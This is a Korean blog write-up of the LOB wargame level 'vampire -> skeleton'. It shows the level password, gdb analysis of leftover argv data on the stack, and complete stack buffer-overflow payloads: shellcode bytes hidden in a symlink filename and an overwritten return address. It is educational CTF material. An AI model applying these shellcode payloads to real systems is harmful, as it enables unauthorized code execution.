LOB vampire -> skeleton
ID : vampire
Passwd : music world
접속해서 ls 명령어로 파일을 확인합니다.
cat 명령으로 code를 열어봅니다.
Return Address를 스택으로 변조해야 합니다.
환경 변수 사용 못 하고, 버퍼를 초기화 합니다. argc 또한 저장해 놓은 후 다시 돌려놓아서 모든 argv를 초기화 합니다.
정보를 찾기 위해 원본 tmp 디렉터리를 만들고 복사합니다.
gdb로 열어서 x/10s $esp 로 찾아봤습니다.
0xbffffc32가 argv[0]입니다. 0xbfffffe1에도 argv[0]과 같은 값이 들어있습니다.
orge -> troll 에서는 argv[0]를 초기화 하지 않고 남겨둬서 argv[0]을 이용했지만, 이번에는 모든 argv를 초기화 하니 argv[0]을 사용하지 못 할 것 같네요. 그럼 저 아랫부분은 어떨까요?
0xbfffffe1에 들어있는 건 환경 변수도 아니고 argv도 아니기 때문에 main함수가 끝날 시기에도 값이 남아있게 됩니다. core 파일을 만들어 분석해봅시다.
gdb로 열어보면
이렇게 main함수 끝나고 ret 명령을 실행했을 때에도 남아있게 됩니다.
저 부분을 이용하려면 심볼릭 링크를 사용하면 될 것 같습니다.
지난번 orge -> troll 에서는 NOP + 셸코드 의 페이로드 구성을 가졌습니다.
하지만 이번에는 셸코드가 변조될 위험이 있으니 뒤에도 공간을 마련해 주도록 하겠습니다
NOP + 셸코드 + NOP 형태의 파일명을 가진 파일을 만들겠습니다.
셸코드는 디렉터리 구분자 / (‘\x2f’)가 없는 셸코드를 사용해야 합니다.
ln –s skeleton `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*36’`
그리고 아까 0xbfffffe1, 0xbffffff1 의 100byte 뒤쯤 NOP Sled가 있는 걸 예측해서 Return Address는 0xbfffff7d로 변조하겠습니다.
payload : ./ `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*36’` `python –c ‘print “A”*44 + “\x7d\xff\xff\xbf"’`
성공입니다.
이제 원본 파일을 참조하는 심볼릭 링크를 생성하겠습니다.
방금 만들었던 파일과 이름이 같으면 못 만들기 때문에 뒤에 NOP을 조금 추가하겠습니다.
ln –s ../skeleton `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*40’`
(앞에 skeleton이 ../skeleton으로 바뀌고, 뒤에 NOP이 40byte입니다. 유의하세요.)
아까와 동일한 payload지만 파일 이름만 바꿔서 작성하겠습니다.
payload : ./ `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*40’` `python –c ‘print “A”*44 + “\x7d\xff\xff\xbf"’`
공격하겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB golem -> darkknight Write up (0) | 2017.10.26 |
---|---|
LOB skeleton -> golem Write up (0) | 2017.10.12 |
LOB troll -> vampire Write up (0) | 2017.10.10 |
LOB orge -> troll Write up (0) | 2017.10.09 |
LOB darkelf -> orge Write up (0) | 2017.10.09 |